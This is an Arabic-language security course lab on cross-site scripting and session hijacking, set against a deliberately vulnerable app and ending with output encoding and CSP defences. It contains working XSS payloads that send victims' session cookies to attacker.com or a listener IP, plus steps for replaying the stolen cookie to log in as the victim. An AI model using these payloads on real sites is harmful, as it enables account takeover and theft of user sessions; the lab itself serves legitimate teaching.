انتقل إلى المحتوى الرئيسي

المختبر 6.3: XSS واختطاف الجلسات

الأهداف التعليمية​

في نهاية هذا المختبر، ستكون قادرًا على:

  • فهم هجمات البرمجة عبر المواقع (XSS)
  • التمييز بين XSS المنعكس، المخزن، والقائم على DOM
  • حقن JavaScript ضار في تطبيق ويب
  • سرقة ملفات تعريف الارتباط للجلسات
  • تنفيذ هجوم اختطاف الجلسات
  • تسجيل الدخول كمستخدم آخر دون معرفة كلمة المرور الخاصة به
  • اكتشاف الثغرات XSS في الكود
  • تنفيذ الحمايات (ترميز المخرجات، CSP)

المدة المقدرة​

35 دقيقة

المتطلبات الأساسية​

  • تطبيق ويب ضعيف (DVWA أو التطبيق المقدم)
  • خادم ويب محلي (XAMPP/WAMP)
  • متصفح ويب
  • فهم أساسي لـ HTML وJavaScript
  • إكمال المختبر 6.2 (حقن SQL)

السياق المهني​

XSS مصنف ضمن OWASP Top 10. يتيح:

  • سرقة ملفات تعريف الارتباط والجلسات
  • تشويه المواقع
  • إعادة التوجيه إلى مواقع ضارة
  • تسجيل المفاتيح على الجانب العميل
  • سرقة المعلومات الحساسة

حالات حقيقية:

  • تويتر (2010): دودة XSS ذاتية الانتشار
  • إيباي (2014): XSS مستمر
  • الخطوط الجوية البريطانية (2018): Skimming عبر XSS

تحذير أخلاقي وقانوني​

XSS يتيح سرقة جلسات المستخدم وتنفيذ كود ضار في متصفح الضحايا.

مسموح:

  • تطبيقات المختبر
  • مكافآت الأخطاء المصرح بها
  • الاختبارات بإذن

ممنوع:

  • المواقع الحقيقية بدون إذن
  • سرقة جلسات الآخرين
  • تشويه المواقع

الجزء 1: XSS المنعكس​

اختبار أساسي​

في حقل بحث أو URL:

<script>alert('XSS')</script>

إذا ظهرت نافذة منبثقة: معرضة للخطر!

تفسير: يتم تنفيذ JavaScript في متصفح الضحية.

سرقة ملفات تعريف الارتباط​

<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

تم إرسال ملف تعريف الارتباط إلى الخادم المهاجم!


الجزء 2: XSS المخزن (أكثر خطورة)​

الحقن في التعليقات​

في حقل تعليق:

<script>
fetch('http://attacker.com/log?cookie=' + document.cookie);
</script>

محفوظ في قاعدة البيانات!

كل زائر يرى التعليق:

  • يتم تنفيذ JavaScript
  • يتم سرقة ملف تعريف الارتباط تلقائيًا
  • الجلسة معرضة للخطر

الجزء 3: اختطاف الجلسات​

الخطوة 1: سرقة ملف تعريف الارتباط​

حمولة XSS:

<script>
var img = new Image();
img.src = 'http://192.168.100.10:8000/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

على جهاز المهاجم، استمع:

python3 -m http.server 8000

عندما يزور الضحية الصفحة:

192.168.100.20 - - [08/Nov/2024 15:30:45] "GET /steal?cookie=PHPSESSID=abc123xyz456 HTTP/1.1" 200 -

تم التقاط ملف تعريف الارتباط: PHPSESSID=abc123xyz456

الخطوة 2: استخدام ملف تعريف الارتباط المسروق​

باستخدام إضافة "EditThisCookie" أو وحدة التحكم للمطورين:

document.cookie = "PHPSESSID=abc123xyz456";
location.reload();

قم بتحديث الصفحة:

بوم! تم تسجيل الدخول كضحية بدون كلمة مرور!


الجزء 4: الحماية​

كود معرض للخطر​

echo "Bonjour " . $_GET['name'];

كود آمن​

echo "Bonjour " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

htmlspecialchars: يحول < إلى &lt;، يمنع التنفيذ!

سياسة أمان المحتوى (CSP)​

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

يمنع كل JavaScript المضمن!


التسليمات​

  1. تقرير مع لقطات شاشة XSS وظيفي
  2. ملف تعريف الارتباط المسروق واختطاف الجلسة الناجح
  3. كود معرض للخطر مقابل آمن
  4. توصيات الحماية

مختبر تم تطويره في إطار دورة نظم التشغيل - الوحدة 6